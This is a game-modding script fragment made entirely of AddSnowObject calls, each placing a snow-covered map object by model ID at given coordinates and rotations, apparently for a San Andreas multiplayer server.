AddSnowObject(9210, -2863.229, 2404.620, 174.813, 0.000, 0.000, 0.000, 222.3);
AddSnowObject(9211, -2739.479, 2393.669, 65.742, 0.000, 0.000, 0.000, 239.4);
AddSnowObject(9212, -2687.510, 2582.040, 85.000, 0.000, 0.000, 0.000, 274.8);
AddSnowObject(9213, -2680.449, 2719.050, 157.835, 0.000, 0.000, 0.000, 274.9);
AddSnowObject(9214, -2838.239, 2592.870, 190.257, 0.000, 0.000, 0.000, 260.2);
AddSnowObject(9215, -2840.159, 2733.389, 241.789, 0.000, 0.000, 0.000, 205.2);
AddSnowObject(9216, -2648.570, 2524.520, 49.265, 0.000, 0.000, 0.000, 215.6);
AddSnowObject(9217, -2468.989, 2792.189, 135.304, 0.000, 0.000, 0.000, 232.4);
AddSnowObject(9218, -2191.659, 2644.120, 61.945, 0.000, 0.000, 0.000, 270.1);
AddSnowObject(9219, -2469.909, 2645.679, 58.898, 0.000, 0.000, 0.000, 241.9);
AddSnowObject(9222, -2276.540, 2330.149, 4.226, 0.000, 0.000, 0.000, 161.2);
AddSnowObject(9223, -2511.840, 2473.639, 16.953, 0.000, 0.000, 0.000, 182.1);
AddSnowObject(9224, -2545.389, 2250.500, 3.906, 0.000, 0.000, 0.000, 160.2);
AddSnowObject(9225, -2347.979, 2416.709, 8.351, 0.000, 0.000, 0.000, 200.2);
AddSnowObject(9226, -2593.449, 2449.919, 29.882, 0.000, 0.000, 0.000, 187.8);
AddSnowObject(9231, -2688.629, 2421.919, 51.257, 0.000, 0.000, 0.000, 192.4);
AddSnowObject(9232, -2391.120, 2354.729, 4.375, 0.000, 0.000, 0.000, 173.3);
AddSnowObject(9233, -2584.560, 2359.719, 8.851, 0.000, 0.000, 0.000, 192.7);
AddSnowObject(9234, -2581.860, 2383.070, 8.921, 0.000, 0.000, 0.000, 148.7);
AddSnowObject(9235, -2300.959, 2622.800, 39.460, 0.000, 0.000, 0.000, 251.3);
AddSnowObject(9236, -2445.669, 2287.729, 3.929, 0.000, 0.000, 0.000, 138.2);
AddSnowObject(9242, -2322.600, 2331.409, 4.406, 0.000, 0.000, 0.000, 161.9);
AddSnowObject(9246, -2247.489, 2357.870, 4.039, 0.000, 0.000, 0.000, 131.6);
AddSnowObject(9248, -2227.350, 2315.949, 4.187, 0.000, 0.000, 0.000, 144.7);
AddSnowObject(9249, -2299.919, 2522.010, -16.445, 0.000, 0.000, 0.000, 211.2);
AddSnowObject(9250, -2580.879, 2471.770, 23.625, 0.000, 0.000, 0.000, 193.1);
AddSnowObject(9251, -2524.929, 2342.879, 9.781, 0.000, 0.000, 0.000, 204.3);
AddSnowObject(9252, -2399.469, 2404.750, 10.117, 0.000, 0.000, 0.000, 208.8);
AddSnowObject(9254, -2463.659, 2234.040, 4.367, 0.000, 0.000, 0.000, 133.3);
AddSnowObject(9256, -2581.360, 2285.129, 5.750, 0.000, 0.000, 0.000, 143.7);
AddSnowObject(9261, -2432.969, 2382.629, 9.828, 0.000, 0.000, 0.000, 171.4);
AddSnowObject(9262, -2717.780, 2249.260, 61.507, 0.000, 0.000, 0.000, 190.9);
AddSnowObject(9264, -2657.790, 2535.449, 69.000, 0.000, 0.000, 0.000, 221.3);
AddSnowObject(9265, -2674.179, 2576.989, 83.046, 0.000, 0.000, 0.000, 247.0);
AddSnowObject(9266, -2479.179, 2641.550, 61.757, 0.000, 0.000, 0.000, 200.7);
AddSnowObject(9267, -2329.750, 2654.570, 55.625, 0.000, 0.000, 0.000, 174.1);
AddSnowObject(9276, -2478.270, 2526.870, 18.007, 0.000, 0.000, 0.000, 203.5);
AddSnowObject(9278, -2883.780, 2560.239, 262.203, 0.000, 0.000, 0.000, 155.6);
AddSnowObject(9279, -2892.489, 2399.659, 195.858, 0.000, 0.000, 0.000, 159.8);
AddSnowObject(9280, -2855.280, 2234.729, 170.125, 0.000, 0.000, 0.000, 167.3);
AddSnowObject(9281, -2818.729, 2808.129, 239.671, 0.000, 0.000, 0.000, 158.9);
AddSnowObject(9282, -2588.620, 2824.469, 183.820, 0.000, 0.000, 0.000, 161.2);
AddSnowObject(9283, -2357.169, 2821.629, 182.938, 0.000, 0.000, 0.000, 158.8);
AddSnowObject(9284, -2907.939, 2195.709, -12.289, 0.000, 0.000, 0.000, 336.3);
AddSnowObject(9285, -2931.770, 2605.800, 38.445, 0.000, 0.000, 0.000, 365.4);
AddSnowObject(9286, -2943.199, 2408.620, 26.812, 0.000, 0.000, 0.000, 348.0);
AddSnowObject(9287, -2933.070, 2763.110, 27.812, 0.000, 0.000, 0.000, 334.9);
AddSnowObject(9288, -2865.600, 2895.699, 27.687, 0.000, 0.000, 0.000, 366.4);
AddSnowObject(9289, -2659.989, 2899.659, 10.937, 0.000, 0.000, 0.000, 343.8);
AddSnowObject(9290, -2468.989, 2917.020, -34.750, 0.000, 0.000, 0.000, 303.9);
AddSnowObject(9291, -2273.780, 2909.659, -14.976, 0.000, 0.000, 0.000, 334.8);
AddSnowObject(9292, -2699.020, 2224.520, 55.812, 0.000, 0.000, 0.000, 154.7);
AddSnowObject(9293, -2729.199, 2310.580, 64.554, 0.000, 0.000, 0.000, 140.9);
AddSnowObject(9294, -2753.370, 2435.760, 83.406, 0.000, 0.000, 0.000, 174.8);
AddSnowObject(9295, -2670.510, 2598.600, 81.695, 0.000, 0.000, 0.000, 221.6);
AddSnowObject(9296, -2514.770, 2678.689, 67.015, 0.000, 0.000, 0.000, 156.1);
AddSnowObject(9297, -2370.459, 2641.620, 55.906, 0.000, 0.000, 0.000, 210.4);
AddSnowObject(9298, -2632.459, 2430.780, 45.414, 0.000, 0.000, 0.000, 221.7);
AddSnowObject(9299, -2514.909, 2357.050, 8.484, 0.000, 0.000, 0.000, 142.3);
AddSnowObject(9300, -2512.229, 2309.040, 10.453, 0.000, 0.000, 0.000, 139.3);
AddSnowObject(9304, -2518.739, 2389.679, 13.687, 0.000, 0.000, 0.000, 135.4);
AddSnowObject(9306, -2510.320, 2295.979, 3.953, 0.000, 0.000, 0.000, 136.3);
AddSnowObject(9313, -2527.840, 2244.300, 3.906, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(9315, -2519.629, 2356.020, 3.929, 0.000, 0.000, 0.000, 136.7);
AddSnowObject(9318, -2532.370, 2247.820, 4.390, 0.000, 0.000, 0.000, 150.8);
AddSnowObject(9330, -2481.000, 2497.679, 16.343, 0.000, 0.000, 0.000, 160.3);
AddSnowObject(9337, -2382.110, 2380.969, 8.484, 0.000, 0.000, 0.000, 150.6);
AddSnowObject(9338, -2381.179, 2380.810, 5.734, 0.000, 0.000, 0.000, 149.4);
AddSnowObject(9342, -2638.770, 2372.659, 12.078, 0.000, 0.000, 0.000, 160.6);
AddSnowObject(9348, -2314.149, 2408.300, 5.960, 0.000, 0.000, 0.000, 168.7);
AddSnowObject(9476, -2750.639, 2393.840, 79.968, 0.000, 0.000, 0.000, 187.4);
AddSnowObject(9239, -2440.310, 2492.629, 10.984, 0.000, 0.000, 0.000, 196.1);
AddSnowObject(9240, -2308.800, 2421.399, 5.507, 0.000, 0.000, 0.000, 174.8);
AddSnowObject(9438, -2963.449, 2273.489, -71.632, 0.000, 0.000, 0.000, 306.5);
AddSnowObject(9312, -2553.189, 2255.179, 4.015, 0.000, 0.000, 0.000, 130.3);
AddSnowObject(9257, -2545.820, 2225.850, -19.117, 0.000, 0.000, 0.000, 183.0);
AddSnowObject(9350, -2630.820, 2390.560, 10.882, 0.000, 0.000, 0.000, 140.0);
AddSnowObject(9439, -2963.459, 2759.729, -76.085, 0.000, 0.000, 0.000, 334.1);
AddSnowObject(9440, -2741.899, 2913.850, -64.484, 0.000, 0.000, 0.000, 306.2);
AddSnowObject(9331, -2476.870, 2454.709, 15.601, 0.000, 0.000, 0.000, 142.3);
AddSnowObject(9335, -2466.260, 2371.800, 10.203, 0.000, 0.000, 0.000, 135.4);
AddSnowObject(9334, -2455.479, 2416.540, 14.265, 0.000, 0.000, 0.000, 136.6);
AddSnowObject(9336, -2414.330, 2410.800, 10.890, 0.000, 0.000, 0.000, 130.2);
AddSnowObject(9230, -2413.229, 2249.659, -19.070, 0.000, 0.000, 0.000, 179.4);
AddSnowObject(9329, -2329.550, 2284.580, -19.070, 0.000, 0.000, 0.000, 224.1);
AddSnowObject(9253, -2218.270, 2359.909, -19.093, 0.000, 0.000, 44.285, 187.4);
AddSnowObject(9332, -2390.489, 2450.610, 9.328, 0.000, 0.000, 0.000, 146.8);
AddSnowObject(9229, -2284.350, 2460.600, -19.093, 0.000, 0.000, 0.000, 184.1);
AddSnowObject(9437, -2346.149, 2913.850, -64.484, 0.000, 0.000, 0.000, 318.7);
AddSnowObject(10351, -2907.590, 331.703, 0.375, 0.000, 0.000, 0.000, 259.1);
AddSnowObject(10352, -2902.219, 63.679, 0.289, 0.000, 0.000, 0.000, 272.9);
AddSnowObject(10353, -2905.409, -200.343, -0.726, 0.000, 0.000, 0.000, 255.0);
AddSnowObject(10354, -2905.270, -409.218, 0.335, 0.000, 0.000, 0.000, 236.2);
AddSnowObject(10359, -2483.939, -612.320, 133.671, 0.000, 0.000, 0.000, 161.1);
AddSnowObject(10362, -2408.139, -415.054, 72.507, 0.000, 0.000, 0.000, 213.9);
AddSnowObject(10363, -2646.000, -448.906, 33.171, 0.000, 0.000, 0.000, 269.8);
AddSnowObject(10364, -2836.850, -592.937, 6.367, 0.000, 0.000, 0.000, 227.0);
AddSnowObject(10365, -2674.489, -409.343, 20.656, 0.000, 0.000, 0.000, 260.5);
AddSnowObject(10384, -2656.570, 378.421, 9.210, 0.000, 0.000, 0.000, 189.8);
AddSnowObject(10385, -2336.620, 104.960, 34.281, 0.000, 0.000, 0.000, 188.1);
AddSnowObject(10386, -2581.149, -436.835, 57.742, 0.000, 0.000, 0.000, 224.9);
AddSnowObject(10387, -2940.030, -722.664, 11.031, 0.000, 0.000, 0.000, 224.7);
AddSnowObject(10403, -2438.379, -262.617, 44.679, 0.000, 0.000, 0.000, 184.1);
AddSnowObject(10404, -2652.469, -437.218, 16.843, 0.000, 0.000, 0.000, 253.1);
AddSnowObject(10405, -2324.590, -364.289, 64.210, 0.000, 0.000, 0.000, 191.6);
AddSnowObject(10407, -2331.300, -256.351, 46.773, 0.000, 0.000, 0.000, 192.1);
AddSnowObject(10408, -2443.610, -340.656, 56.968, 0.000, 0.000, 0.000, 169.6);
AddSnowObject(10409, -2535.100, -288.765, 31.757, 0.000, 0.000, 0.000, 191.1);
AddSnowObject(10413, -2911.469, -561.093, -1.859, 0.000, 0.000, 0.000, 219.9);
AddSnowObject(10418, -2509.580, -601.992, 86.828, 0.000, 0.000, 0.000, 303.9);
AddSnowObject(10451, -2749.760, -601.765, 35.195, 0.000, 0.000, 0.000, 252.3);
AddSnowObject(10453, -2336.020, -596.890, 89.546, 0.000, 0.000, 0.000, 290.1);
AddSnowObject(10454, -2345.669, -424.015, 74.171, 0.000, 0.000, 0.000, 252.5);
AddSnowObject(10489, -2869.260, -812.382, 6.203, 0.000, 0.000, 0.000, 209.6);
AddSnowObject(10491, -2756.090, -822.796, 22.789, 0.000, 0.000, 0.000, 258.4);
AddSnowObject(10492, -2344.820, -815.453, 60.554, 0.000, 0.000, 0.000, 291.0);
AddSnowObject(10559, -2937.580, -873.507, -2.515, 0.000, 0.000, 0.000, 205.3);
AddSnowObject(10562, -2384.300, 8.265, 34.242, 0.000, 0.000, 0.000, 173.6);
AddSnowObject(10601, -2208.520, -1003.299, 17.726, 0.000, 0.000, 0.000, 266.7);
AddSnowObject(10638, -2779.850, 378.281, 4.757, 0.000, 0.000, 0.000, 202.4);
AddSnowObject(10694, -2567.629, -780.757, 63.765, 0.000, 0.000, 0.000, 237.1);
AddSnowObject(10750, -1908.130, -489.437, 29.507, 0.000, 0.000, 0.000, 216.9);
AddSnowObject(10751, -1803.770, -569.515, 16.976, 0.000, 0.000, 0.000, 246.0);
AddSnowObject(10752, -1712.290, 433.984, 14.226, 0.000, 0.000, 0.000, 210.3);
AddSnowObject(10753, -1902.199, -124.203, 30.281, 0.000, 0.000, 0.000, 147.9);
AddSnowObject(10755, -1363.430, -248.218, 20.578, 0.000, 0.000, 0.000, 275.9);
AddSnowObject(10756, -1503.510, -388.429, 9.226, 0.000, 0.000, 0.000, 253.9);
AddSnowObject(10758, -1440.250, -325.085, 11.132, 0.000, 0.000, 0.000, 187.2);
AddSnowObject(10759, -1580.810, -465.828, 9.070, 0.000, 0.000, 0.000, 231.9);
AddSnowObject(10762, -1460.250, -345.093, 10.460, 0.000, 0.000, 0.000, 158.2);
AddSnowObject(10763, -1255.900, 47.179, 45.906, 0.000, 0.000, 0.000, 151.4);
AddSnowObject(10765, -1144.709, 347.937, 13.250, 0.000, 0.000, 0.000, 153.1);
AddSnowObject(10766, -1098.290, 394.406, 11.203, 0.000, 0.000, -44.999, 183.7);
AddSnowObject(10767, -1188.589, 304.320, -1.468, 0.000, 0.000, 0.000, 215.1);
AddSnowObject(10768, -1307.670, -542.656, -0.539, 0.000, 0.000, 0.000, 342.2);
AddSnowObject(10769, -1615.599, 69.039, -8.132, 0.000, 0.000, 0.000, 268.5);
AddSnowObject(10771, -1357.699, 501.296, 5.445, 0.000, 0.000, 0.000, 214.1);
AddSnowObject(10777, -1724.199, 547.085, 32.320, 0.000, 0.000, -138.145, 190.3);
AddSnowObject(10778, -1407.030, -225.125, 8.843, 0.000, 0.000, 0.000, 181.2);
AddSnowObject(10779, -1450.479, -206.000, 8.570, 0.000, 0.000, 0.000, 153.7);
AddSnowObject(10780, -1450.479, -108.921, 8.570, 0.000, 0.000, 0.000, 159.3);
AddSnowObject(10781, -1450.479, -5.273, 8.570, 0.000, 0.000, 0.000, 159.3);
AddSnowObject(10782, -1361.680, -5.273, 8.570, 0.000, 0.000, 0.000, 159.3);
AddSnowObject(10783, -1361.680, -108.921, 8.570, 0.000, 0.000, 0.000, 159.3);
AddSnowObject(10784, -1361.680, -206.000, 8.570, 0.000, 0.000, 0.000, 153.7);
AddSnowObject(10785, -1406.079, -83.437, 8.843, 0.000, 0.000, 0.000, 171.3);
AddSnowObject(10786, -1384.089, 53.289, 6.757, 0.000, 0.000, 0.000, 174.9);
AddSnowObject(10787, -1312.369, 117.359, 6.062, 0.000, 0.000, 0.000, 159.2);
AddSnowObject(10788, -1244.439, 85.343, 8.992, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(10790, -1942.849, -361.257, 33.414, 0.000, 0.000, 0.000, 197.1);
AddSnowObject(10791, -1904.089, -543.937, 30.914, 0.000, 0.000, 0.000, 158.8);
AddSnowObject(10792, -1909.959, -454.773, 24.921, 0.000, 0.000, 0.000, 216.9);
AddSnowObject(10793, -1604.040, 22.726, 35.570, 0.000, 0.000, 44.999, 132.6);
AddSnowObject(10794, -1550.829, 75.929, 7.000, 0.000, 0.000, 44.999, 216.0);
AddSnowObject(10795, -1552.439, 74.320, 17.046, 0.000, 0.000, 44.999, 212.3);
AddSnowObject(10806, -1432.810, -451.468, 16.250, 0.000, 0.000, 0.000, 199.3);
AddSnowObject(10807, -1617.420, -561.023, 16.250, 0.000, 0.000, 0.000, 222.7);
AddSnowObject(10808, -1680.619, -478.093, 16.250, 0.000, 0.000, 0.000, 195.9);
AddSnowObject(10809, -1571.010, -311.898, 16.250, 0.000, 0.000, 0.000, 200.1);
AddSnowObject(10815, -1608.890, -494.835, 13.429, 0.000, 0.000, 0.000, 230.4);
AddSnowObject(10816, -1369.250, 96.312, 12.062, 0.000, 0.000, 45.008, 301.0);
AddSnowObject(10817, -1563.510, -189.188, -0.539, 0.000, 0.000, 44.999, 339.8);
AddSnowObject(10818, -1629.849, -532.359, -0.500, 0.000, 0.000, 0.000, 317.6);
AddSnowObject(10819, -1236.510, -220.882, -0.539, 0.000, 0.000, 0.000, 347.6);
AddSnowObject(10820, -1610.630, 604.226, 47.953, 0.000, 0.000, 46.500, 180.6);
AddSnowObject(10821, -1505.260, 715.242, 64.039, 0.000, 0.000, -133.500, 229.0);
AddSnowObject(10822, -1336.810, 892.757, 57.914, 0.000, 0.000, -133.500, 274.5);
AddSnowObject(10823, -1204.119, 1032.609, 53.570, 0.000, 0.000, -133.499, 211.9);
AddSnowObject(10833, -1455.449, 298.617, 1.148, 0.000, 0.000, 0.000, 235.0);
AddSnowObject(10834, -1372.680, 457.812, 1.148, 0.000, 0.000, 0.000, 255.8);
AddSnowObject(10836, -1540.020, -330.546, 13.632, 0.000, 0.000, 0.000, 169.5);
AddSnowObject(10840, -1666.130, -62.078, 10.945, 0.000, 0.000, 44.999, 144.9);
AddSnowObject(10848, -1819.869, -486.328, 14.718, 0.000, 0.000, 0.000, 181.1);
AddSnowObject(10849, -1904.089, -378.257, 31.281, 0.000, 0.000, 0.000, 168.0);
AddSnowObject(10850, -1875.020, -65.328, 15.062, 0.000, 0.000, 0.000, 178.3);
AddSnowObject(10851, -1898.630, -486.437, 22.132, 0.000, 0.000, 0.000, 210.6);
AddSnowObject(10852, -1800.510, -136.483, 9.976, 0.000, 0.000, 0.000, 219.5);
AddSnowObject(10854, -1879.250, -238.125, 20.968, 0.000, 0.000, 0.000, 171.1);
AddSnowObject(10855, -1875.069, -90.257, 14.601, 0.000, 0.000, 0.000, 175.8);
AddSnowObject(10857, -1846.069, 293.062, 27.859, 0.000, 0.000, 0.000, 202.0);
AddSnowObject(10858, -1568.479, 510.265, -12.476, 0.000, 0.000, 0.000, 193.5);
AddSnowObject(10859, -1882.020, 148.179, 30.507, 0.000, 0.000, 0.000, 187.1);
AddSnowObject(10860, -1740.229, 466.601, 37.445, 0.000, 0.000, 0.000, 232.4);
AddSnowObject(10861, -1749.979, 507.820, 25.796, 0.000, 0.000, 0.000, 271.7);
AddSnowObject(10862, -1767.270, 226.727, -3.687, 0.000, 0.000, 0.000, 165.6);
AddSnowObject(10863, -1803.790, 292.718, 18.453, 0.000, 0.000, 0.000, 169.8);
AddSnowObject(10864, -1682.209, 455.140, 22.218, 0.000, 0.000, 0.000, 271.9);
AddSnowObject(10865, -1680.979, 414.468, 7.234, 0.000, 0.000, 45.040, 153.0);
AddSnowObject(10866, -1783.609, 249.992, 10.070, 0.000, 0.000, 0.000, 167.9);
AddSnowObject(10867, -1788.310, 83.343, 8.328, 0.000, 0.000, 0.000, 214.9);
AddSnowObject(10868, -1857.050, 497.328, 25.085, 0.000, 0.000, 0.000, 210.8);
AddSnowObject(10869, -1793.699, 353.953, 11.171, 0.000, 0.000, 0.000, 192.0);
AddSnowObject(10870, -1751.339, 455.234, 26.992, 0.000, 0.000, 0.000, 216.6);
AddSnowObject(10871, -1815.050, 563.742, 182.977, 0.000, 0.000, 0.000, 278.2);
AddSnowObject(10873, -1773.550, 588.531, 29.906, 0.000, 0.000, 0.000, 131.0);
AddSnowObject(10874, -1548.920, -433.820, 9.234, 0.000, 0.000, 0.000, 157.3);
AddSnowObject(10875, -1445.729, -424.968, 13.632, 0.000, 0.000, 0.000, 169.5);
AddSnowObject(3814, -1178.099, -114.828, 19.765, 0.000, 0.000, -44.999, 134.1);
AddSnowObject(3814, -1217.140, -67.171, 19.765, 0.000, 0.000, -44.999, 134.1);
AddSnowObject(3814, -1272.079, -660.328, 19.765, 0.000, 0.000, -179.999, 134.1);
AddSnowObject(3814, -1334.479, -660.328, 19.765, 0.000, 0.000, -179.999, 134.1);
AddSnowObject(3814, -1396.880, -660.328, 19.765, 0.000, 0.000, -179.999, 134.1);
AddSnowObject(3814, -1459.270, -660.328, 19.765, 0.000, 0.000, -179.999, 134.1);
AddSnowObject(3816, -1438.410, -529.632, 21.695, 0.000, 0.000, 26.499, 145.6);
AddSnowObject(3816, -1362.979, -491.492, 21.695, 0.000, 0.000, 26.499, 145.6);
AddSnowObject(10903, -1793.839, -456.328, -0.492, 0.000, 0.000, 0.000, 213.6);
AddSnowObject(10904, -1783.089, -236.257, 1.421, 0.000, 0.000, 0.000, 213.3);
AddSnowObject(10905, -1886.119, -327.117, 26.585, 0.000, 0.000, 0.000, 212.1);
AddSnowObject(10917, -1780.660, -73.054, 8.445, 0.000, 0.000, 0.000, 135.1);
AddSnowObject(10926, -2257.820, 414.367, 33.531, 0.000, 0.000, 0.000, 230.6);
AddSnowObject(10927, -1864.719, 292.460, 15.359, 0.000, 0.000, 0.000, 221.1);
AddSnowObject(10928, -2062.090, -531.492, 34.046, 0.000, 0.000, 0.000, 230.8);
AddSnowObject(10929, -2142.929, 402.265, 34.164, 0.000, 0.000, 0.000, 193.0);
AddSnowObject(10930, -2076.649, 320.343, 34.164, 0.000, 0.000, 0.000, 160.8);
AddSnowObject(10931, -1976.000, -486.882, 28.742, 0.000, 0.000, 0.000, 205.9);
AddSnowObject(10932, -1941.459, 138.000, 32.640, 0.000, 0.000, 0.000, 134.0);
AddSnowObject(10934, -1954.040, -184.188, 25.343, 0.000, 0.000, 0.000, 134.7);
AddSnowObject(10935, -1984.780, -304.039, 29.429, 0.000, 0.000, 0.000, 200.5);
AddSnowObject(10936, -2103.610, -462.195, 37.359, 0.000, 0.000, 0.000, 275.1);
AddSnowObject(10937, -1904.050, -855.617, 38.062, 0.000, 0.000, 0.000, 239.0);
AddSnowObject(10938, -1909.550, 497.218, 25.710, 0.000, 0.000, 0.000, 226.8);
AddSnowObject(10939, -2073.709, -859.945, 30.570, 0.000, 0.000, 0.000, 206.1);
AddSnowObject(10940, -2156.580, -782.492, 31.070, 0.000, 0.000, 0.000, 173.4);
AddSnowObject(10941, -1955.250, -859.945, 34.789, 0.000, 0.000, 0.000, 236.8);
AddSnowObject(10942, -1959.770, -858.835, 39.281, 0.000, 0.000, 0.000, 224.1);
AddSnowObject(10943, -1890.709, -858.851, 31.070, 0.000, 0.000, 0.000, 216.8);
AddSnowObject(10944, -1499.699, -1494.520, 20.593, 0.000, 0.000, 0.000, 257.4);
AddSnowObject(10945, -1910.270, 487.140, 121.508, 0.000, 0.000, 0.000, 228.2);
AddSnowObject(10946, -2076.659, 354.367, 35.789, 0.000, 0.000, 0.000, 164.6);
AddSnowObject(10948, -2076.649, 436.289, 96.460, 0.000, 0.000, 0.000, 204.0);
AddSnowObject(10954, -2051.540, -444.156, 53.828, 0.000, 0.000, 0.000, 199.2);
AddSnowObject(10955, -2051.540, -444.156, 53.828, 0.000, 0.000, 0.000, 199.0);
AddSnowObject(10956, -1904.500, -1210.319, 16.421, 0.000, 0.000, 0.000, 189.4);
AddSnowObject(10957, -1759.239, -1381.130, 15.710, 0.000, 0.000, 0.000, 247.5);
AddSnowObject(10958, -1903.979, -1225.800, 37.585, 0.000, 0.000, 0.000, 196.0);
AddSnowObject(10959, -1809.800, -1152.459, 44.156, 0.000, 0.000, 0.000, 241.8);
AddSnowObject(10960, -2011.869, -1239.349, 24.765, 0.000, 0.000, 0.000, 273.2);
AddSnowObject(10961, -1892.949, -1000.849, 42.500, 0.000, 0.000, 0.000, 275.0);
AddSnowObject(10962, -2139.479, -1022.719, 12.851, 0.000, 0.000, 0.000, 252.9);
AddSnowObject(10965, -1956.839, -1069.719, 43.593, 0.000, 0.000, 0.000, 163.4);
AddSnowObject(10966, -2044.339, -1068.479, 44.789, 0.000, 0.000, 0.000, 177.6);
AddSnowObject(10967, -1904.079, -667.187, 34.085, 0.000, 0.000, 0.000, 180.1);
AddSnowObject(10968, -2231.479, -340.859, 42.062, 0.000, 0.000, 0.000, 170.1);
AddSnowObject(10969, -2209.620, -113.914, 34.312, 0.000, 0.000, 0.000, 158.9);
AddSnowObject(10970, -2149.929, 215.296, 34.242, 0.000, 0.000, 0.000, 196.2);
AddSnowObject(10971, -2222.510, -342.796, 42.531, 0.000, 0.000, 0.000, 255.7);
AddSnowObject(10983, -2076.649, 222.852, 31.218, 0.000, 0.000, 0.000, 182.1);
AddSnowObject(11003, -2085.760, 109.328, 30.421, 0.000, 0.000, 0.000, 180.2);
AddSnowObject(11005, -2076.939, -20.000, 34.460, 0.000, 0.000, 0.000, 172.5);
AddSnowObject(11006, -2204.010, 69.085, 35.335, 0.000, 0.000, 0.000, 234.1);
AddSnowObject(11012, -2166.870, -236.507, 40.867, 0.000, 0.000, 0.000, 153.1);
AddSnowObject(11071, -2182.570, 565.890, 34.093, 0.000, 0.000, 0.000, 155.5);
AddSnowObject(11072, -2251.959, 264.328, 34.242, 0.000, 0.000, 0.000, 147.0);
AddSnowObject(11073, -2182.570, 523.789, 34.093, 0.000, 0.000, 0.000, 162.0);
AddSnowObject(11074, -2210.439, 331.515, 33.109, 0.000, 0.000, 0.000, 157.8);
AddSnowObject(11075, -2007.199, 9.054, 30.421, 0.000, 0.000, 0.000, 170.2);
AddSnowObject(11076, -2004.170, 426.289, 34.093, 0.000, 0.000, 0.000, 169.0);
AddSnowObject(11077, -2087.199, 0.281, 33.062, 0.000, 0.000, 0.000, 203.7);
AddSnowObject(11078, -2256.020, 69.023, 34.242, 0.000, 0.000, 0.000, 240.7);
AddSnowObject(11079, -2163.270, 19.984, 34.242, 0.000, 0.000, 0.000, 181.6);
AddSnowObject(11080, -2169.570, -70.281, 34.242, 0.000, 0.000, 0.000, 173.2);
AddSnowObject(11083, -2053.909, -180.835, 37.328, 0.000, 0.000, 0.000, 209.5);
AddSnowObject(11084, -2199.570, -140.289, 34.265, 0.000, 0.000, 0.000, 173.4);
AddSnowObject(11088, -2166.879, -236.516, 40.859, 0.000, 0.000, 0.000, 154.8);
AddSnowObject(11091, -2133.550, -132.703, 36.132, 0.000, 0.000, 0.000, 132.3);
AddSnowObject(11094, -2215.340, -261.945, 42.164, 0.000, 0.000, 0.000, 167.5);
AddSnowObject(11095, -2218.199, -339.140, 39.750, 0.000, 0.000, 0.000, 139.0);
AddSnowObject(11096, -2004.280, -300.312, 29.609, 0.000, 0.000, 0.000, 138.8);
AddSnowObject(11097, -1976.989, -177.766, 29.906, 0.000, 0.000, 0.000, 205.7);
AddSnowObject(11098, -2256.070, -130.289, 34.242, 0.000, 0.000, 0.000, 172.5);
AddSnowObject(11100, -1925.180, 374.101, 28.578, 0.000, 0.000, 0.000, 181.1);
AddSnowObject(11104, -2217.719, -610.000, 36.492, 0.000, 0.000, 44.999, 257.8);
AddSnowObject(11105, -2034.979, -639.765, 29.687, 0.000, 0.000, 0.000, 188.4);
AddSnowObject(11106, -2205.979, -766.148, 50.828, 0.000, 0.000, 0.000, 281.6);
AddSnowObject(11107, -1934.260, -720.812, 29.656, 0.000, 0.000, 0.000, 277.2);
AddSnowObject(11111, -2107.219, 70.273, 34.242, 0.000, 0.000, 0.000, 131.6);
AddSnowObject(11112, -2028.599, -67.203, 28.875, 0.000, 0.000, 0.000, 170.0);
AddSnowObject(11113, -2006.400, -135.710, 34.507, 0.000, 0.000, 0.000, 156.4);
AddSnowObject(11114, -2060.449, 513.789, 33.960, 0.000, 0.000, 0.000, 171.5);
AddSnowObject(11115, -2249.040, 444.906, 33.812, 0.000, 0.000, 0.000, 162.5);
AddSnowObject(11116, -2060.449, 555.890, 34.093, 0.000, 0.000, 0.000, 172.3);
AddSnowObject(11117, -2098.500, -344.117, 34.710, 0.000, 0.000, 0.000, 169.6);
AddSnowObject(11118, -1987.699, -961.796, 31.125, 0.000, 0.000, 0.000, 194.5);
AddSnowObject(11119, -1987.209, -788.640, 31.125, 0.000, 0.000, 0.000, 179.8);
AddSnowObject(11120, -1947.660, -779.679, 31.070, 0.000, 0.000, 0.000, 176.3);
AddSnowObject(11121, -2073.080, -714.687, 31.070, 0.000, 0.000, 0.000, 175.5);
AddSnowObject(11122, -2073.080, -1005.200, 31.070, 0.000, 0.000, 0.000, 175.5);
AddSnowObject(11123, -2156.580, -932.953, 31.070, 0.000, 0.000, 0.000, 177.8);
AddSnowObject(11124, -1806.699, -326.539, 19.578, 0.000, 0.000, 0.000, 182.2);
AddSnowObject(11125, -1897.020, -9.750, 30.281, 0.000, 0.000, 0.000, 177.4);
AddSnowObject(11126, -1841.469, 231.585, 26.664, 0.000, 0.000, 0.000, 232.2);
AddSnowObject(11127, -1673.920, 379.125, 6.109, 0.000, 0.000, 0.000, 202.4);
AddSnowObject(11128, -1931.869, -212.438, 31.421, 0.000, 0.000, 0.000, 151.4);
AddSnowObject(11129, -1871.810, -200.085, 29.578, 0.000, 0.000, 0.000, 168.9);
AddSnowObject(11130, -1904.020, -240.078, 30.242, 0.000, 0.000, 0.000, 177.1);
AddSnowObject(11131, -1985.520, -293.273, 31.882, 0.000, 0.000, 1.085, 161.8);
AddSnowObject(11132, -1905.369, -306.593, 38.804, 0.000, 0.000, 0.000, 167.9);
AddSnowObject(11133, -1904.089, -442.523, 31.156, 0.000, 0.000, 0.000, 157.9);
AddSnowObject(11134, -1904.010, -1093.689, 35.742, 0.000, 0.000, 0.000, 202.1);
AddSnowObject(11135, -1968.430, -1125.300, 33.851, 0.000, 0.000, 0.000, 176.9);
AddSnowObject(11136, -1923.839, -1322.880, 39.398, 0.000, 0.000, 0.000, 180.4);
AddSnowObject(11137, -1874.510, -1169.689, 32.789, 0.000, 0.000, 0.000, 166.5);
AddSnowObject(11138, -1984.219, -236.272, 29.859, 0.000, 0.000, 0.000, 152.5);
AddSnowObject(11139, -2056.949, 69.335, 30.500, 0.000, 0.000, 0.000, 150.9);
AddSnowObject(11145, -1420.579, 501.296, 4.257, 0.000, 0.000, 0.000, 147.0);
AddSnowObject(11146, -1366.689, 501.851, 12.289, 0.000, 0.000, 0.000, 180.7);
AddSnowObject(11228, -1940.650, 47.960, 24.812, 0.000, 0.000, 0.000, 130.1);
AddSnowObject(11229, -1902.770, -9.695, 19.507, 0.000, 0.000, 0.000, 151.2);
AddSnowObject(11243, -2056.889, 69.320, 32.000, 0.000, 0.000, 0.000, 143.2);
AddSnowObject(11252, -1078.770, 891.078, 35.601, 0.000, 0.000, 0.000, 215.1);
